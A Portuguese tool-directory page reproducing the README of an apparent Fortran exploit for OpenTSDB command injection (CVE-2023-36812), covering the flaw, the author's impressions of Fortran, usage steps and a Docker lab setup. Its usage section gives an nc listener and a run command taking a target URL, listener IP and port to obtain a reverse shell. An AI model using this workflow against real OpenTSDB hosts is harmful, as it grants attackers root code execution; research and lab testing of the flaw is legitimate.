Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
opentsdb_key_cmd_injection — Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran | Kitploit
Ferramentas/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed Teaming
GitHub
erikwynter/opentsdb_key_cmd_injection

opentsdb_key_cmd_injection

Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran

Ver Repositório
717há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

opentsdb_key_cmd_injection

Um exploit para injeção de comandos no OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) escrito em Fortran

Sobre

Este é um exploit para uma vulnerabilidade de injeção de comandos no OpenTSDB versões 2.4.1 e anteriores (CVE-2023-36812/CVE-2023-25826). O exploit é escrito em Fortran moderno e utiliza a biblioteca oficial http-client do Fortran, que foi criada no início deste ano.

Detalhes da vulnerabilidade

OpenTSDB é um banco de dados de séries temporais de código aberto escrito em Java. Em 2020, uma vulnerabilidade de injeção de comandos foi descoberta nas versões 2.4.0 e anteriores, que poderia ser explorada para obter execução remota de código no host com privilégios de root. Como o OpenTSDB não suporta autenticação, essa vulnerabilidade, registrada como CVE-2020-35476, poderia ser explorada por qualquer pessoa com acesso à interface web do OpenTSDB. O problema foi corrigido na versão 2.4.1

Este ano foi descoberto que a correção para CVE-2020-35476 estava incompleta, e a injeção de comandos ainda é possível no OpenTSDB 2.4.1 através de vários vetores.

Detalhes:

  • Registrada como: CVE-2023-36812. Vale notar que CVE-2023-25826 na verdade parece descrever a mesma vulnerabilidade, e ambos os CVEs referenciam o mesmo patch.
  • Aviso de segurança: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • Crédito: Gal Goldstein e Daniel Abeles da Oxeye
  • Correção: O patch será introduzido na versão 2.4.2, que ainda não é uma versão oficial. No momento da escrita, a versão mais recente do OpenTSDB é a 2.4.1, então é provável que a maioria das instâncias do OpenTSDB em produção estejam vulneráveis. Dito isso, o FAQ do OpenTSDB enfatiza que este projeto "foi escrito apenas para uso interno" e "não passou por nenhuma revisão de segurança e não inclui autenticação."

Por que Fortran?

A versão curta é que vi essa conversa: why

A ideia de escrever um exploit em a linguagem de programação usada para levar pessoas à lua me intrigou tanto que eu tive que explorar isso por conta própria. Este exploit é o resultado desse experimento. À pergunta se foi bem-sucedido, só posso responder com estas sábias, porém amaldiçoadas palavras que unem todos os devs em sangue: Funciona na minha máquina. ¯\(ツ)/¯

De qualquer forma, minhas principais conclusões deste projeto são:

  • Fortran é realmente muito legal e surpreendentemente fácil de aprender.
  • O ecossistema moderno do Fortran, incluindo o gerenciador de pacotes fpm, mostra um grande potencial.
  • Fortran é uma linguagem fortemente tipada, e achei isso algo bom, pois encontrei poucos erros desagradáveis em tempo de execução.
  • Projetos Fortran com dependências são grandes porque o fpm inclui o código-fonte da dependência diretamente no seu projeto. O benefício é que evita a poluição do sistema.
  • O suporte a bibliotecas é relativamente limitado e caótico em comparação com linguagens modernas. Infelizmente, isso não afeta apenas a biblioteca http-client.
  • Como esperado, boas documentações e dicas de solução de problemas são mais difíceis de encontrar do que na maioria das linguagens de programação modernas, embora ainda existam algumas postagens úteis no StackOverflow e fóruns há muito esquecidos do início dos anos 2000.
  • Ferramentas de IA como ChatGPT e GitHub Copilot são parceiros de codificação ainda menos confiáveis do que no caso das linguagens modernas.

No geral, não é fácil imaginar essa linguagem realmente ganhando importância na segurança ofensiva, até porque existem tantas alternativas sólidas e modernas para qualquer caso de uso imaginável (Python, Go, Rust, Ruby, C# para citar apenas algumas). Mas se você gosta de experimentar diferentes linguagens de programação e não se importa de encapsular suas strings em chamadas trim() o tempo todo (POR FAVOR, PRESTE ATENÇÃO NISSO, ISSO VAI ECONOMIZAR MUITO SOFRIMENTO), Fortran vale absolutamente a pena conferir. Estou torcendo sem ironia por essa linguagem agora e posso revisitá-la se continuarem adicionando suporte à biblioteca http-client, especialmente se adicionarem uma biblioteca http-server em algum momento.

TL;DR: A biblioteca http-client do Fortran vai brr.

Uso

  • Inicie um listener no seu sistema, ex:
nc -nlvp 1337
  • Em outra janela, navegue até o diretório opentsdb_key_cmd_injection
# cd /caminho/para/opentsdb_key_cmd_injection/
  • Execute o projeto via fpm (certifique-se de instalá-lo primeiro. Veja as instruções de instalação na próxima seção)
# /caminho/para/fpm run -- -t <url_alvo> -l <ip_local> -p <porta_local> [-v]

Opções:

  • -t - TARGET URL: a URL base para o OpenTSDB (obrigatório)
  • -l - LHOST: o IP do sistema onde você está executando um listener (obrigatório)
  • -p - LPORT: a porta do listener (obrigatório)
  • -v - VERBOSE: ativar impressão detalhada (opcional)

Instalação

  • Instale gfortran. Em sistemas baseados em Debian, isso pode ser feito via:
apt install gfortran
  • Instale o fpm. A maneira mais fácil é baixar um binário da versão estável mais recente das releases do fpm no GitHub e depois torná-lo executável:
chmod +x /<caminho>/para/fpm

Certifique-se de ter o git instalado no seu sistema antes de instalar o fpm.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Configurando uma instância do OpenTSDB para teste

Instalação manual (não recomendado)

Para uma instalação manual, você pode seguir as instruções oficiais de instalação aqui. Isso pode ser irritante, então eu recomendaria usar o Docker.

Instalação com Docker (recomendado)

Para a versão 2.4.0, você pode usar a imagem vulnhub docker e seguir as instruções de instalação aqui. Essa imagem foi criada para CVE-2020-35476, uma vulnerabilidade mais antiga no OpenTSDB até a versão 2.4.0.

Para a versão 2.4.1 e provavelmente qualquer outra versão, você pode aproveitar a imagem vulhub para OpenTSDB 2.4.0 e editá-la para instalar a versão desejada. Eu segui essa abordagem para a 2.4.1 e funcionou muito bem.

  • Primeiro, pegue os arquivos Dockerfile e docker-entrypoint.sh do OpenTSDB 2.4.0 do vulhub aqui e armazene-os em um diretório dedicado.
  • No Dockerfile, substitua todas as ocorrências de 2.4.0 pela versão desejada, ex: 2.4.1
  • Nenhuma edição é necessária no docker-entrypoint.sh
  • Crie um arquivo docker-compose.yml com o seguinte conteúdo:
version: '2'
services:
 opentsdb:
   build: ./caminho-para-seu-diretório-dockerfile
   ports:
    - "4242:4242"

Usei esta estrutura de arquivo:

wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
Baixar ferramenta